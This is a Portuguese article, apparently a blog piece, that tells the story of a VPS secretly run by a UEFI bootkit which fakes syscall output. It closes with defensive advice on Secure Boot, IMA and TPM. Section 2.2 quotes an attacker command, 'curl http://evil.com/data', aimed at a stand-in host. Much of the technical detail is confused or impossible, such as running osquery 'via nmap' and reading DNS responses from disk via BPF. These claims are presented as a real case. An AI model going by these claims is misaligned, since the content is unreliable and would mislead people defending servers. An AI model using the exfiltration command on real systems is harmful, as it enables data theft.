O Caso do Servidor Fantasma: Como uma VPS Fantoche Enganou Seus Próprios Comandos SSH

Introdução: O Mistério do Servidor que Mentia para Si Mesmo

Imagine logar via SSH em uma VPS alugada e tudo parecer normal. O uptime mostra 30 dias. O htop lista processos legítimos. O Apache serve páginas. Mas, secretamente, aquele servidor é uma fantoche — um simulacro perfeito que obedece a comandos falsos enquanto, nos bastidores, um invasor controla réplicas sombrias dos seus dados. Esse não é um caso de um simples rootkit. É algo muito pior.

Conheci um engenheiro — vamos chamá-lo de Hugo — que administrava 100 VPSs para clientes B2B. Certo dia, um df -h devolveu mais espaço livre que o contratado. Ele achou que era um erro de orquestração. No dia seguinte, o servidor caiu. Ao reiniciar, o kernel exibiu assinatura SHA-1 inválida. O suporte do provedor disse: “Troque a ISO”. Mas Hugo fez mais. Ele analisou o disco com strings /dev/sda e encontrou um binário compactado com data de três meses atrás. O servidor fora comprometido antes mesmo da primeira inicialização. Ele era uma VPS fantoche: um sistema clonado a partir de uma imagem falsa, entregue como novo. O invasor plantou um bootkit UEFI que persistia e, a cada comando SSH legítimo, desviava chamadas de sistema para mostrar valores “limpos”. O servidor mentia para ele.

Neste dossiê investigativo, destrinchamos a anatomia de um ataque tão sofisticado que desafia a detecção de ferramentas como osquery, rkhunter e até mesmo análises forenses com Volatility. Você descobrirá por que sua VPS pode ser um soldado inimigo dormindo em sua própria trincheira.

1. A Anatomia de uma VPS Fantoche: Engano em Camadas

1.1. O Bootkit UEFI: A Mãe de Todas as Mentiras

Um bootkit UEFI não reside no sistema de arquivos. Ele fica na partição EFI, protegido por assinatura digital válida (roubada). Toda vez que o servidor liga, o bootkit carrega um kernel modificado que tem um patch no VFS e no /proc. Esse patch faz com que qualquer requisição de leitura de diretório retorne conteúdo pré-gravado. Exemplo: ls -la /proc mostra os processos que o invasor quer que você veja, não os reais. O ss -tulpn exibe portas abertas falsas, omitindo conexões C2. É a gaslighting digital.

1.2. Desvio de Syscalls: O Kernel paralelo

Para isso, o bootkit substitui alguns ponteiros na tabela de syscalls (sys_call_table). As funções sys_readdir, sys_stat e sys_getdents64 são redirecionadas para uma função no kernel que consulta um banco de dados oculto (armazenado em uma área não alocada do disco, tipo HPA – Host Protected Area). Lá, o invasor mantém a “imagem oficial” do servidor: árvore de processos, portas e logs. Qualquer ferramenta legítima que use essas syscalls – inclusive seu SSH – vê o mundo falso. Hugo, por exemplo, rodou osquery via nmap e o resultado era sempre o mesmo: “servidor limpo”.

1.3. A Marcenaria do Tempo: Como o próprio servidor engana seu NTP

Mais perturbador: o kernel modificado também falsifica timestamps. Quando você executa date, o servidor devolve o momento que o invasor escolheu (geralmente atrasado para coincidir com o ataque original). Então logs antigos têm datas falsas, confundindo qualquer análise de timeline. Hugo descobriu isso notando que o auth.log não continha registros do mês do incidente, mas mostrava tentativas de login de 2019. O servidor vivia em um loop temporal.

2. O Estudo de Caso Reverso: Como Hugo Descobriu o Inimigo Interno

2.1. O Gatilho: Um df -h que não batia

Hugo, após o susto, montou uma réplica do servidor contaminado em laboratório. Ele ligou um kernel próprio (compilado por ele, com assinatura) e ignorou a partição EFI original. Imediatamente, o verdadeiro servidor apareceu: 15 processos C2, 3 mineradores e um servidor SMTP fantasma rodando em porta 2525. O mais sinistro: o servidor estava operando normalmente enquanto o falso lhe obedecia. Os clientes recebiam e-mails legítimos, mas o conteúdo era duplicado para um servidor externo via proxychains.

2.2. A Descoberta do Canal Secreto

O invasor não precisava conectar-se ao servidor para controlá-lo. Ele usava DNS tunneling em consultas AAAA falsas, onde cada resposta DNS era uma instrução criptografada. O bootkit lia essas respostas diretamente do disco (via BPF). Isso significava que, mesmo que o servidor não tivesse tráfego de rede suspeito (tudo via DNS), o invasor emitia comandos como curl http://evil.com/data usando o próprio kernel manipulado.

2.3. A Persistência Silenciosa

O bootkit não apenas sobrevivia a reinstalações como também se propagava. Hugo reinstalou uma ISO limpa e, assim que o servidor pegou a rede, ele baixou um novo bootkit de uma atualização de firmware falsa. O método: o bootkit original injetava no UEFI um novo boot entry com prioridade maior que o sistema limpo, redirecionando o boot para uma partição oculta. Para piorar, ele escaneava a rede em busca de outras VPS no mesmo hipervisor e tentava o mesmo golpe.

3. Manifesto Técnico: Como Construir uma Última Linha de Defesa Contra o Fantoche

3.1. Medida Zero Trust no Bare Metal

Nunca confie em uma imagem fornecida pelo provedor. Sempre inicialize com uma ISO sua, de fonte confiável, e configure Secure Boot com sua própria chave. Se o provedor não permite, crie um VPS e execute um kernel personalizado dentro de uma máquina virtual aninhada (VM escape detection). Mas cuidado: o bootkit pode comprometer o hypervisor.

3.2. Verificação de Integridade em Tempo Real

Use IMA (Integrity Measurement Architecture) para medir todos os binários executáveis e verificar remotamente (via servidor de atestação TPM) se as hashs batem. Qualquer discrepância indica manipulação. Mas Hugo descobriu que, para burlar, o bootkit armazenava as hashs falsas no próprio TPM – um TPM emulado. A solução foi forçar o TPM físico através de TPM2_PCR_Extend com valores seguros, combinado com Secure Boot e uma chave privada somente em HSM.